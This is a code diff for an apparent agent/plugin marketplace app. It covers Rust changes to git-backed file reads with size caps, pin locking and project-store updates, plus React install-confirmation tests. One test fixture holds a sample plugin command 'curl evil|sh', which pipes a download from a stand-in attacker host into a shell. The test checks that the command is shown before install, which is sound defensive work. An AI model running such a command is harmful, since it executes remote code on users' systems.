let mgr = MarketplaceManager::new(data.path().to_path_buf());
refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
check_reasons(&compute_updates(&mgr, &settings, &[]), &c2);
}
// Same answer from the cache alone (no snapshot in memory).
let mgr = MarketplaceManager::new(data.path().to_path_buf());
check_reasons(&compute_updates(&mgr, &settings, &[]), &c2);
}
fn check_reasons(updates: &[ItemUpdate], head: &str) {
let reason = |key: &str| {
let u = updates.iter().find(|u| u.item.key == key).unwrap();
assert_eq!(u.head, head);
u.invalid_at_head.clone()
};
assert_eq!(updates.len(), 3, "{updates:?}");
assert!(reason("notify-on-stop").unwrap().contains("PreFoo"));
assert_eq!(reason("code-reviewer"), None);
assert!(reason("example-command").unwrap().contains("no longer in"));
}
/// PR review #10: refreshing one marketplace sets only its pins, and so
/// never waits on another marketplace's lock.
#[tokio::test]
async fn pins_can_be_set_for_one_marketplace_alone() {
let Some(fx) = GitFixture::new() else { return };
let c1 = fx.with_all_kinds();
let data = tempfile::tempdir().unwrap();
let mgr = MarketplaceManager::new(data.path().to_path_buf());
let mut settings = settings_with(&fx.url());
let mut m2 = settings.marketplaces[0].clone();
m2.id = "m2".into();
settings.marketplaces.push(m2);
settings.global_marketplace_installs = vec![install(ItemKind::Agent, "code-reviewer", &c1)];
refresh_marketplace(&mgr, &|| settings.clone(), "m1").await;
refresh_marketplace(&mgr, &|| settings.clone(), "m2").await;
let other = mgr.repo_lock("m2");
let _busy = other.lock().await;
tokio::time::timeout(
std::time::Duration::from_secs(20),
set_pins(&mgr, &settings, &[], Some("m1")),
)
.await
.expect("setting m1's pins must not wait for m2");
let refs = git::test_support::git(
&git::cache_path(data.path(), "m1"),
&["for-each-ref", "--format=%(refname)", "refs/triple-c/pins"],
);
assert_eq!(refs, format!("refs/triple-c/pins/{c1}"));
}
#[test]
fn pins_are_grouped_and_deduplicated_per_marketplace() {
let a = "a".repeat(40);
+168 -10
View File
@@ -29,12 +29,56 @@ pub struct DirEntry {
pub trait TreeView {
/// Entries of the directory at `path` (`""` = root). `Ok(None)` if absent or not a dir.
fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String>;
/// Contents of the regular file at `path`. `Ok(None)` if absent or not a file.
fn read_file(&self, path: &str) -> Result<Option<Vec<u8>>, String>;
/// Contents of the regular file at `path`, if it is at most `max_bytes`.
/// `Ok(None)` if absent or not a file. A larger file is
/// [`ReadError::TooLarge`], decided before its contents are loaded.
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError>;
/// Stable content id of the entry at `path`; `None` if absent.
fn entry_id(&self, path: &str) -> Result<Option<String>, String>;
}
/// Why [`TreeView::read_file`] returned no contents.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum ReadError {
/// The file is larger than the caller's cap (known from the object
/// header, so nothing was inflated).
TooLarge {
path: String,
max_bytes: u64,
},
Other(String),
}
/// `"2 MiB"`, `"64 KiB"` or `"N bytes"`.
pub(crate) fn describe_size(bytes: u64) -> String {
const KIB: u64 = 1024;
const MIB: u64 = 1024 * 1024;
if bytes >= MIB && bytes.is_multiple_of(MIB) {
format!("{} MiB", bytes / MIB)
} else if bytes >= KIB && bytes.is_multiple_of(KIB) {
format!("{} KiB", bytes / KIB)
} else {
format!("{} bytes", bytes)
}
}
impl From<ReadError> for String {
fn from(e: ReadError) -> String {
match e {
ReadError::TooLarge { path, max_bytes } => {
format!("{} is larger than {}", path, describe_size(max_bytes))
}
ReadError::Other(msg) => msg,
}
}
}
impl From<String> for ReadError {
fn from(msg: String) -> Self {
ReadError::Other(msg)
}
}
/// Hex-encode `bytes`. Shared by [`MemTree`]'s content id (test-only) and
/// `catalog::item_fingerprint`'s plugin-entry hash (production), so there is
/// one hex formatter rather than two copies of the same `format!("{:02x}")`.
@@ -48,10 +92,32 @@ pub struct GitTree {
tree_id: gix::ObjectId,
}
#[cfg(test)]
thread_local! {
static REPO_OPENS: std::cell::Cell<usize> = const { std::cell::Cell::new(0) };
}
/// How many times this thread has opened a cache repo (tests only).
#[cfg(test)]
pub fn repo_opens() -> usize {
REPO_OPENS.with(|c| c.get())
}
/// Open a bare cache. Several [`GitTree`]s can share one open repo through
/// [`GitTree::at`] (cloning a `gix::Repository` shares its object store).
pub fn open_repo(repo_path: &std::path::Path) -> Result<gix::Repository, String> {
#[cfg(test)]
REPO_OPENS.with(|c| c.set(c.get() + 1));
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))
}
impl GitTree {
pub fn open(repo_path: &std::path::Path, commit: &str) -> Result<Self, String> {
let repo = gix::open(repo_path)
.map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
Self::at(open_repo(repo_path)?, commit)
}
/// The tree at `commit` of an already open repo.
pub fn at(repo: gix::Repository, commit: &str) -> Result<Self, String> {
let oid = gix::ObjectId::from_hex(commit.as_bytes())
.map_err(|e| format!("Invalid commit id {}: {}", commit, e))?;
let tree_id = repo
@@ -122,18 +188,31 @@ impl TreeView for GitTree {
Ok(Some(out))
}
fn read_file(&self, path: &str) -> Result<Option<Vec<u8>>, String> {
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError> {
let Some((id, mode)) = self.lookup(path)? else {
return Ok(None);
};
if !mode.is_blob() {
return Ok(None);
}
let blob = self
// The header alone gives the size; a blob over the cap is never
// inflated (a compressible multi-GB file would otherwise be).
let size = self
.repo
.find_header(id)
.map_err(|e| format!("Could not read {}: {}", path, e))?
.size();
if size > max_bytes {
return Err(ReadError::TooLarge {
path: path.to_string(),
max_bytes,
});
}
let mut blob = self
.repo
.find_blob(id)
.map_err(|e| format!("Could not read {}: {}", path, e))?;
Ok(Some(blob.data.clone()))
Ok(Some(blob.take_data()))
}
fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
@@ -268,8 +347,14 @@ impl TreeView for MemTree {
Ok(Some(out.into_values().collect()))
}
fn read_file(&self, path: &str) -> Result<Option<Vec<u8>>, String> {
fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError> {
match self.nodes.get(path) {
Some(MemNode::File { data, .. }) if data.len() as u64 > max_bytes => {
Err(ReadError::TooLarge {
path: path.to_string(),
max_bytes,
})
}
Some(MemNode::File { data, .. }) => Ok(Some(data.clone())),
_ => Ok(None),
}
@@ -325,8 +410,8 @@ mod tests {
assert!(hook[0].executable);
assert_eq!(t.list_dir("agents/a.md").unwrap(), None);
assert_eq!(t.list_dir("missing").unwrap(), None);
assert_eq!(t.read_file("agents/a.md").unwrap().unwrap(), b"x");
assert_eq!(t.read_file("agents").unwrap(), None);
assert_eq!(t.read_file("agents/a.md", 10).unwrap().unwrap(), b"x");
assert_eq!(t.read_file("agents", 10).unwrap(), None);
}
#[test]
@@ -350,4 +435,77 @@ mod tests {
);
assert_eq!(a.entry_id("nope").unwrap(), None);
}
/// Review #9: the size comes from the object header, so a blob over the
/// cap is refused without its body ever being inflated. The fixture's
/// loose object is cut short after its header: reading the body would
/// fail, while the header still names the full size.
#[test]
fn git_tree_refuses_an_oversized_blob_from_its_header() {
use crate::marketplace::git::test_support::{git, git_available, init_repo};
if !git_available() {
return;
}
const CAP: u64 = 64 * 1024;
let dir = tempfile::tempdir().unwrap();
let big = "x".repeat(CAP as usize + 1);
let commit = init_repo(
dir.path(),
&[
("agents/big.md", &big, false),
("agents/small.md", "hi", false),
],
);
let blob = git(dir.path(), &["rev-parse", "HEAD:agents/big.md"]);
let loose = dir
.path()
.join(".git/objects")
.join(&blob[..2])
.join(&blob[2..]);
let bytes = std::fs::read(&loose).unwrap();
let mut perms = std::fs::metadata(&loose).unwrap().permissions();
#[allow(clippy::permissions_set_readonly_false)]
perms.set_readonly(false); // git writes objects read-only
std::fs::set_permissions(&loose, perms).unwrap();
std::fs::write(&loose, &bytes[..40.min(bytes.len())]).unwrap();
let tree = GitTree::open(&dir.path().join(".git"), &commit).unwrap();
let err = String::from(tree.read_file("agents/big.md", CAP).unwrap_err());
assert!(err.contains("larger than 64 KiB"), "{err}");
// The body really is unreadable: under a cap it fits, the read fails
// for another reason — so the refusal above never inflated it.
let body = String::from(tree.read_file("agents/big.md", 2 * CAP).unwrap_err());
assert!(!body.contains("larger than"), "{body}");
assert_eq!(
tree.read_file("agents/small.md", CAP).unwrap().unwrap(),
b"hi"
);
assert_eq!(tree.read_file("agents/missing.md", CAP).unwrap(), None);
}
#[test]
fn trees_at_several_commits_share_one_open_repo() {
use crate::marketplace::git::test_support::{commit_files, git_available, init_repo};
if !git_available() {
return;
}
let dir = tempfile::tempdir().unwrap();
let c1 = init_repo(dir.path(), &[("a.md", "one", false)]);
let c2 = commit_files(dir.path(), &[("a.md", "two", false)], "second");
let before = repo_opens();
let repo = open_repo(&dir.path().join(".git")).unwrap();
let t1 = GitTree::at(repo.clone(), &c1).unwrap();
let t2 = GitTree::at(repo, &c2).unwrap();
assert_eq!(repo_opens() - before, 1);
assert_eq!(t1.read_file("a.md", 10).unwrap().unwrap(), b"one");
assert_eq!(t2.read_file("a.md", 10).unwrap().unwrap(), b"two");
}
#[test]
fn mem_tree_applies_the_same_cap() {
let t = MemTree::new().file("a.md", "12345");
assert_eq!(t.read_file("a.md", 5).unwrap().unwrap(), b"12345");
let err = String::from(t.read_file("a.md", 4).unwrap_err());
assert!(err.contains("a.md is larger than 4 bytes"), "{err}");
}
}
+19
View File
@@ -170,6 +170,21 @@ pub struct CatalogItem {
/// plugins: a component listing.
#[serde(default)]
pub preview: String,
/// Plugins only: what the plugin brings that runs or adds commands —
/// inline in its catalog entry and in its folder — shown before an
/// install is confirmed (PR review #4).
#[serde(default)]
pub plugin_components: Vec<PluginComponent>,
}
/// One part of a plugin that can run something: e.g. its catalog entry's
/// `mcpServers`, or its folder's `hooks/hooks.json`.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct PluginComponent {
/// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`.
pub label: String,
/// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated).
pub content: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
@@ -187,6 +202,10 @@ pub struct ItemUpdate {
pub item: MarketplaceItemRef,
pub pinned: String,
pub head: String,
/// Why the item cannot be installed at `head` (invalid there, or gone),
/// so the update would be refused; `None` when it can be applied.
#[serde(default)]
pub invalid_at_head: Option<String>,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+194
View File
@@ -2,6 +2,7 @@ use std::fs;
use std::path::{Path, PathBuf};
use std::sync::Mutex;
use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef};
use crate::models::Project;
/// The sticky marker for `projects.json`: `projects.json.corrupt`, beside it.
@@ -204,6 +205,27 @@ impl ProjectsStore {
}
}
/// Replace a project with `updated`, after `restore` has copied onto it
/// the fields the store owns from the record *as stored under the lock*.
/// `update_project` restores from a copy it read earlier, so an install
/// or a status change landing in between would otherwise be written over
/// (re-review round 2).
pub fn update_restoring(
&self,
mut updated: Project,
restore: impl FnOnce(&mut Project, &Project),
) -> Result<Project, String> {
let mut projects = self.lock();
let p = projects
.iter_mut()
.find(|p| p.id == updated.id)
.ok_or_else(|| format!("Project {} not found", updated.id))?;
restore(&mut updated, p);
*p = updated.clone();
self.save(&projects)?;
Ok(updated)
}
pub fn remove(&self, id: &str) -> Result<(), String> {
let mut projects = self.lock();
let initial_len = projects.len();
@@ -256,6 +278,60 @@ impl ProjectsStore {
}
}
/// Read-modify-write of one project's marketplace installs and opt-outs
/// under the store's lock, touching nothing else (PR review #2): the
/// marketplace commands must not write back a whole record read before a
/// start changed its status or container id. When `f` fails nothing is
/// saved. Returns `f`'s value and the saved project.
pub fn update_marketplace_fields<T>(
&self,
project_id: &str,
f: impl FnOnce(
&mut Vec<MarketplaceInstall>,
&mut Vec<MarketplaceItemRef>,
) -> Result<T, String>,
) -> Result<(T, Project), String> {
let mut projects = self.lock();
let p = projects
.iter_mut()
.find(|p| p.id == project_id)
.ok_or_else(|| format!("Project {} not found", project_id))?;
let mut installs = p.marketplace_installs.clone();
let mut disabled = p.marketplace_disabled.clone();
let out = f(&mut installs, &mut disabled)?;
p.marketplace_installs = installs;
p.marketplace_disabled = disabled;
p.updated_at = chrono::Utc::now().to_rfc3339();
let saved = p.clone();
self.save(&projects)?;
Ok((out, saved))
}
/// [`Self::update_marketplace_fields`] over every project at once, in one
/// save. Projects `f` leaves as they were are not touched at all.
pub fn update_all_marketplace_fields(
&self,
mut f: impl FnMut(&mut Vec<MarketplaceInstall>, &mut Vec<MarketplaceItemRef>),
) -> Result<(), String> {
let mut projects = self.lock();
let mut changed = false;
for p in projects.iter_mut() {
let mut installs = p.marketplace_installs.clone();
let mut disabled = p.marketplace_disabled.clone();
f(&mut installs, &mut disabled);
if installs != p.marketplace_installs || disabled != p.marketplace_disabled {
p.marketplace_installs = installs;
p.marketplace_disabled = disabled;
p.updated_at = chrono::Utc::now().to_rfc3339();
changed = true;
}
}
if changed {
self.save(&projects)?;
}
Ok(())
}
pub fn set_container_id(&self, project_id: &str, container_id: Option<String>) -> Result<(), String> {
let mut projects = self.lock();
if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) {
@@ -410,4 +486,122 @@ mod tests {
fs::remove_dir_all(&dir).ok();
}
fn market_install(key: &str) -> crate::models::marketplace::MarketplaceInstall {
crate::models::marketplace::MarketplaceInstall {
marketplace_id: "m1".into(),
kind: crate::models::marketplace::ItemKind::Agent,
key: key.into(),
commit: "a".repeat(40),
}
}
#[test]
fn marketplace_edits_keep_a_concurrent_status_and_container_change() {
// PR review #2: a marketplace install/uninstall used to write back a
// whole record read before a start flipped status and container_id,
// leaving the project stuck at Starting with no container.
let dir = temp_dir("marketplace-fields");
let project = Project::new("demo".to_string(), Vec::new());
let id = project.id.clone();
let store = store_over(&dir, vec![project]);
// The start flow moves on while a marketplace command is running.
store.set_container_id(&id, Some("cid-1".into())).unwrap();
store.update_status(&id, crate::models::ProjectStatus::Starting).unwrap();
let (added, saved) = store
.update_marketplace_fields(&id, |installs, disabled| {
installs.push(market_install("a"));
disabled.push(market_install("g").item_ref());
Ok(installs.len())
})
.unwrap();
assert_eq!(added, 1);
assert_eq!(saved.container_id.as_deref(), Some("cid-1"));
assert_eq!(saved.status, crate::models::ProjectStatus::Starting);
let on_disk: Vec<Project> =
serde_json::from_str(&fs::read_to_string(dir.join("projects.json")).unwrap()).unwrap();
assert_eq!(on_disk[0].container_id.as_deref(), Some("cid-1"));
assert_eq!(on_disk[0].marketplace_installs, vec![market_install("a")]);
// A refusal inside the closure writes nothing.
let before = fs::read_to_string(dir.join("projects.json")).unwrap();
let err = store
.update_marketplace_fields(&id, |installs, _| {
installs.clear();
Err::<(), _>("not installed".to_string())
})
.unwrap_err();
assert_eq!(err, "not installed");
assert_eq!(store.get(&id).unwrap().marketplace_installs.len(), 1);
assert_eq!(fs::read_to_string(dir.join("projects.json")).unwrap(), before);
assert!(store.update_marketplace_fields("nope", |_, _| Ok(())).is_err());
fs::remove_dir_all(&dir).ok();
}
#[test]
fn a_project_save_keeps_a_marketplace_install_made_after_it_read_the_record() {
// Re-review round 2: `update_project` read the stored record, then
// wrote the whole payload back later. An install landing in between
// was lost. The restore now runs against the record under the lock.
let dir = temp_dir("save-restore");
let project = Project::new("demo".to_string(), Vec::new());
let id = project.id.clone();
let store = store_over(&dir, vec![project]);
let mut payload = store.get(&id).unwrap(); // the Config tab's copy
payload.name = "renamed".to_string();
store
.update_marketplace_fields(&id, |installs, _| {
installs.push(market_install("late"));
Ok(())
})
.unwrap();
let saved = store
.update_restoring(payload, |incoming, stored| {
incoming.marketplace_installs = stored.marketplace_installs.clone();
incoming.marketplace_disabled = stored.marketplace_disabled.clone();
})
.unwrap();
assert_eq!(saved.name, "renamed");
assert_eq!(saved.marketplace_installs, vec![market_install("late")]);
assert_eq!(store.get(&id).unwrap().marketplace_installs, vec![market_install("late")]);
let mut ghost = Project::new("ghost".to_string(), Vec::new());
ghost.id = "nope".into();
assert!(store.update_restoring(ghost, |_, _| {}).is_err());
fs::remove_dir_all(&dir).ok();
}
#[test]
fn marketplace_edits_across_all_projects_touch_only_those_fields() {
let dir = temp_dir("marketplace-all");
let mut a = Project::new("a".to_string(), Vec::new());
a.marketplace_installs = vec![market_install("x")];
let b = Project::new("b".to_string(), Vec::new());
let (a_id, b_id) = (a.id.clone(), b.id.clone());
let store = store_over(&dir, vec![a, b]);
store.set_container_id(&b_id, Some("cid-b".into())).unwrap();
store.update_status(&a_id, crate::models::ProjectStatus::Running).unwrap();
let b_updated_at = store.get(&b_id).unwrap().updated_at;
store
.update_all_marketplace_fields(|installs, _| {
installs.retain(|i| i.marketplace_id != "m1")
})
.unwrap();
let a = store.get(&a_id).unwrap();
assert!(a.marketplace_installs.is_empty());
assert_eq!(a.status, crate::models::ProjectStatus::Running);
let b = store.get(&b_id).unwrap();
assert_eq!(b.container_id.as_deref(), Some("cid-b"));
assert_eq!(b.updated_at, b_updated_at, "an untouched project is not rewritten");
fs::remove_dir_all(&dir).ok();
}
}
@@ -1,5 +1,5 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen } from "@testing-library/react";
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
import { useAppState } from "../../store/appState";
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
@@ -8,6 +8,10 @@ vi.mock("./InstallControls", () => ({
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
}));
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
const updateMarketplace = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
updateMarketplace: (m: unknown) => updateMarketplace(m),
}));
import BrowsePane from "./BrowsePane";
@@ -19,6 +23,7 @@ const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial<CatalogItem>
path: key,
invalid: null,
hook_commands: [],
plugin_components: [],
preview: `${key} preview body`,
...patch,
});
@@ -95,6 +100,43 @@ describe("BrowsePane", () => {
expect(screen.getByText("SKILL.md missing")).toBeInTheDocument();
});
describe("PR review #7: changing a marketplace's account", () => {
const withAccount = () =>
useAppState.setState({
toasts: [],
appSettings: {
marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }],
marketplace_accounts: [{ id: "a1", label: "Work", host: "gitlab.com", method: "token", username: null }],
global_marketplace_installs: [],
} as unknown as AppSettings,
});
it("toasts a refused change instead of leaving it unhandled", async () => {
withAccount();
updateMarketplace.mockRejectedValueOnce("The account \"Work\" is for gitlab.com, but this marketplace is on github.com.");
const mp = api();
render(<BrowsePane mp={mp} />);
fireEvent.change(screen.getByLabelText("Account for Starter"), { target: { value: "a1" } });
await waitFor(() => expect(useAppState.getState().toasts).toHaveLength(1));
const toast = useAppState.getState().toasts[0];
expect(toast.kind).toBe("error");
expect(toast.detail).toContain("is for gitlab.com");
expect(mp.refresh).not.toHaveBeenCalled();
});
it("refreshes the marketplace after a successful change", async () => {
withAccount();
updateMarketplace.mockResolvedValueOnce({});
const mp = api();
render(<BrowsePane mp={mp} />);
fireEvent.change(screen.getByLabelText("Account for Starter"), { target: { value: "a1" } });
await waitFor(() => expect(mp.refresh).toHaveBeenCalledWith("m1"));
expect(updateMarketplace).toHaveBeenCalledWith(expect.objectContaining({ id: "m1", account_id: "a1" }));
expect(mp.reloadState).toHaveBeenCalled();
expect(useAppState.getState().toasts).toHaveLength(0);
});
});
it("refreshes one marketplace", () => {
const mp = api();
render(<BrowsePane mp={mp} />);
+19 -2
View File
@@ -15,6 +15,10 @@ type KindFilter = ItemKind | "all";
const when = (iso: string | null) => (iso ? new Date(iso).toLocaleString() : "never");
function errorText(e: unknown): string {
return typeof e === "string" ? e : e instanceof Error ? e.message : String(e);
}
export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
const marketplaces = useAppState((s) => s.appSettings?.marketplaces ?? []);
const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []);
@@ -22,6 +26,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
const pushToast = useAppState((s) => s.pushToast);
const [kind, setKind] = useState<KindFilter>("all");
const [query, setQuery] = useState("");
// The item is kept as it was read, with the head it was read at: an
@@ -47,9 +52,21 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id;
/** A refused change (e.g. an account for another host) is toasted; a saved
* one is fetched with the new account so its old fetch error goes away. */
const changeAccount = async (m: Marketplace, accountId: string | null) => {
await updateMarketplace({ ...m, account_id: accountId });
await mp.reloadState();
try {
await updateMarketplace({ ...m, account_id: accountId });
} catch (e) {
pushToast({ kind: "error", message: `Could not change the account for ${m.name}`, detail: errorText(e) });
return;
}
try {
await mp.reloadState();
} catch (e) {
console.error("Failed to reload after changing a marketplace account:", e);
}
await mp.refresh(m.id);
};
/** Global + every project's installs of this marketplace, for the removal warning. */
@@ -36,6 +36,7 @@ const item = (kind: CatalogItem["kind"], patch: Partial<CatalogItem> = {}): Cata
invalid: null,
hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [],
preview: "",
plugin_components: [],
...patch,
});
@@ -120,6 +121,34 @@ describe("InstallControls", () => {
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("PR review #4: requires confirmation listing what a plugin runs before installing it", () => {
const mp = api();
const plugin = item("plugin", {
plugin_components: [
{ label: "marketplace.json entry: mcpServers", content: '{ "x": { "command": "curl evil|sh" } }' },
{ label: "hooks/hooks.json", content: '{ "hooks": { "SessionStart": [] } }' },
],
});
render(<InstallControls mp={mp} item={plugin} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText("marketplace.json entry: mcpServers")).toBeInTheDocument();
expect(screen.getByText(/curl evil\|sh/)).toBeInTheDocument();
expect(screen.getByText("hooks/hooks.json")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install plugin" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "plugin" }, { type: "global" }, H);
});
it("a plugin with nothing that runs still asks, and says so", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("plugin")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText(/declares no hooks, MCP servers or commands/)).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Cancel" }));
expect(mp.install).not.toHaveBeenCalled();
});
it("disables everything for an invalid item", () => {
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
@@ -5,6 +5,7 @@ import type { MarketplaceApi } from "../../hooks/useMarketplace";
import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types";
import Toggle from "../ui/Toggle";
import HookConfirmModal from "./HookConfirmModal";
import PluginConfirmModal from "./PluginConfirmModal";
const STATE_LABEL: Record<ProjectItemState, string> = {
none: "",
@@ -25,8 +26,8 @@ interface Props {
headCommit: string | null;
}
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingHook {
/** A hook or plugin install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingConfirm {
scope: InstallScope;
item: CatalogItem;
commit: string;
@@ -36,7 +37,7 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
const appSettings = useAppState((s) => s.appSettings);
const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
const [pending, setPending] = useState<PendingConfirm | null>(null);
const [busy, setBusy] = useState(false);
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
@@ -58,10 +59,10 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
}
};
/** Every install goes through here so a hook is always confirmed first. */
/** Every install goes through here so a hook or plugin is always confirmed first. */
const install = (scope: InstallScope) => {
if (item.kind === "hook") {
setPendingHook({ scope, item, commit });
if (item.kind === "hook" || item.kind === "plugin") {
setPending({ scope, item, commit });
return;
}
void run(() => mp.install(ref, scope, commit));
@@ -123,18 +124,23 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
{projects.length === 0 && (
<p className="text-xs text-[var(--text-secondary)]">No projects yet — “All projects” also covers projects added later.</p>
)}
{pendingHook && (
<HookConfirmModal
item={pendingHook.item}
commit={pendingHook.commit}
onCancel={() => setPendingHook(null)}
onConfirm={() => {
const { scope, commit: reviewed } = pendingHook;
setPendingHook(null);
{pending &&
(() => {
const confirm = () => {
const { scope, commit: reviewed } = pending;
setPending(null);
void run(() => mp.install(ref, scope, reviewed));
}}
/>
)}
};
const Confirm = pending.item.kind === "plugin" ? PluginConfirmModal : HookConfirmModal;
return (
<Confirm
item={pending.item}
commit={pending.commit}
onCancel={() => setPending(null)}
onConfirm={confirm}
/>
);
})()}
</div>
);
}
@@ -73,7 +73,7 @@ describe("InstalledPane", () => {
it("badges and accepts an update for the matching install", async () => {
const mp = api({
updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B }],
updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B, invalid_at_head: null }],
});
render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
@@ -83,13 +83,55 @@ describe("InstalledPane", () => {
);
});
it("PR review #8: an update belongs only to the install pinned at its commit", () => {
const C = "c".repeat(40);
// The same agent is installed globally at A and in p1 at C. Only the A
// install has an update (A → B); C is unchanged at head.
useAppState.setState({
projects: [
{
id: "p1",
name: "api",
status: "running",
marketplace_installs: [{ marketplace_id: "m1", kind: "agent", key: "rev", commit: C }],
marketplace_disabled: [],
},
] as unknown as Project[],
});
const mp = api({
updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B, invalid_at_head: null }],
});
render(<InstalledPane mp={mp} />);
const global = screen.getByTestId("installed-global");
expect(within(global).getByRole("button", { name: "Review update for rev" })).toBeInTheDocument();
const proj = screen.getByTestId("installed-project-p1");
expect(within(proj).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument();
});
it("re-review round 2: an update that would be refused shows why instead of a Review button", () => {
const mp = api({
updates: [
{
item: { marketplace_id: "m1", kind: "agent", key: "rev" },
pinned: A,
head: B,
invalid_at_head: 'unknown hook event "PreFoo"',
},
],
});
render(<InstalledPane mp={mp} />);
const global = screen.getByTestId("installed-global");
expect(within(global).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument();
expect(within(global).getByText(/Update to bbbbbbbb cannot be installed: unknown hook event "PreFoo"/)).toBeInTheDocument();
});
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
const C = "c".repeat(40);
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
const mp = api({ updates: [{ item, pinned: A, head: B }] });
const mp = api({ updates: [{ item, pinned: A, head: B, invalid_at_head: null }] });
const { rerender } = render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C }] }} />);
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C, invalid_at_head: null }] }} />);
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
});
@@ -32,13 +32,15 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id;
const globalInstalls = appSettings?.global_marketplace_installs ?? [];
/** The update for this very install: same item *and* pinned at the same
* commit (PR review #8) — updates are listed per (item, pinned commit). */
const updateFor = (i: MarketplaceInstall) =>
mp.updates.find(
(u) =>
u.item.marketplace_id === i.marketplace_id &&
u.item.kind === i.kind &&
u.item.key === i.key &&
u.head !== i.commit,
u.pinned === i.commit,
);
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
@@ -98,9 +100,16 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
{KIND_LABELS[i.kind].replace(/s$/, "").toLowerCase()} · {nameOf(i.marketplace_id)} · {i.commit.slice(0, 8)}
</span>
{gone && <span className="ml-2 text-[var(--warning)]">Source removed</span>}
{upd?.invalid_at_head && !gone && (
// The update would be refused (re-review round 2), so it is
// explained rather than offered.
<span className="block text-[var(--warning)]">
Update to {upd.head.slice(0, 8)} cannot be installed: {upd.invalid_at_head}
</span>
)}
</div>
<div className="flex gap-1 flex-shrink-0">
{upd && !gone && (
{upd && !upd.invalid_at_head && !gone && (
<Button
size="sm"
variant="secondary"
@@ -1,5 +1,6 @@
import { useEffect, useRef, useState } from "react";
import { useMarketplace } from "../../hooks/useMarketplace";
import { applicableUpdates } from "../../lib/marketplace";
import BrowsePane from "./BrowsePane";
import InstalledPane from "./InstalledPane";
import AccountsPane from "./AccountsPane";
@@ -49,9 +50,9 @@ export default function MarketplaceView({ active }: Props) {
}`}
>
{t.label}
{t.id === "installed" && mp.updates.length > 0 && (
{t.id === "installed" && applicableUpdates(mp.updates).length > 0 && (
